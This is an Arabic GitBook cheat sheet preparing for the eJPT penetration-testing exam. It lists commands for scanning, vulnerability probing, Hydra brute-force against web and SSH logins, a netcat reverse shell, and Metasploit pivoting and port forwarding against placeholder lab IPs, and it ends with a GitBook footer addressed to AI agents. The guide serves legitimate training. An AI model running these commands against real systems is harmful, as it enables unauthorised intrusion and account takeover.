> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/useful-resources/certifications/ejpt-certification-practical-guide.md).

# دليل عملي لشهادة eJPT

{% hint style="danger" %}
الـ **eJPT (مختبر الاختراق المبتدئ من eLearnSecurity)** هي شهادة للدخول إلى اختبار الاختراق مقدّمة من eLearnSecurity. تتحقق من المهارات الأساسية لاختبار الاختراق، بما في ذلك التعرف على الثغرات واستغلالها وما بعد الاستغلال. الامتحان هو **عملي** ويتكوّن من اختراق بيئة محاكاة، مما يجعله مثالياً للمبتدئين الذين يرغبون في إثبات مهاراتهم في الأمن السيبراني الهجومي.
{% endhint %}

{% embed url="<https://security.ine.com/certifications/ejpt-certification/>" %}

## الاستطلاع

### **فحص الشبكة**

فحص الأجهزة على شبكة:

```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```

فحص المنافذ المفتوحة على أجهزة محددة:

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```

{% endcode %}

فحص المنافذ المفتوحة على عدة أجهزة:

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```

{% endcode %}

استخراج المنافذ المفتوحة:

{% code overflow="wrap" %}

```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' '  ','
```

{% endcode %}

* مثال على المخرجات : `22,80,135,445,9543,2214`

فحص تفصيلي لإصدارات الخدمات المكتشفة:

```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```

**فحص Ping Sweep على شبكة لينكس**

```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```

### **تحليل الثغرات**

فحص ثغرات الويب باستخدام Nikto:

```bash
nikto -url http://website.com
```

اكتشاف ثغرات SQL باستخدام SQLmap:

```bash
sqlmap -r request --dbs
```

فحص ثغرات SMB:

```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```

## الاستغلال

#### **هجوم القوة الغاشمة باستخدام Hydra**

**لوحة تسجيل الدخول:**

{% code overflow="wrap" %}

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```

{% endcode %}

**هجوم القوة الغاشمة على SSH باستخدام Hydra:**

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```

## Metasploit – التحويل المحوري وما بعد الاستغلال

### شلّ عكسي باستخدام Metasploit

**استخدام Metasploit للحصول على وصول**

```bash
msfconsole
```

إعداد المستمع:

```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```

إرسال شلّ عكسي باستخدام Netcat:

```bash
nc 10.10.10.10 443 -e /bin/bash
```

إرجاع الجلسة إلى الخلفية:

```bash
sessions
```

### Metasploit إلى Meterpreter

**الطريقة 1 - تحويل Shell إلى Meterpreter**

تحميل وحدة التحويل:

```bash
use shell_to_meterpreter
```

إعداد الجلسة والمنفذ:

```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```

التفاعل مع جلسة Meterpreter:

```bash
sessions -i 2
```

إضافة مسار للوصول إلى جزء شبكة آخر:

```bash
route add 192.168.100.0/24 2
```

**الطريقة 2 - استخدام الطريق السريع**

* تحميل `autoroute` الوحدة:

```bash
use multi/manage/autoroute
```

إعداد الجلسة والتنفيذ:

```bash
set session 2
run
```

**فحص الشبكة من Metasploit**

* فحص منافذ جهاز مُحوَّل:

```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```

### **إعادة توجيه المنافذ في Metasploit**

* تمت إضافة منفذ مُحوَّل للوصول إلى خدمة بعيدة:

```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```

قائمة قواعد إعادة التوجيه:

```bash
portfwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
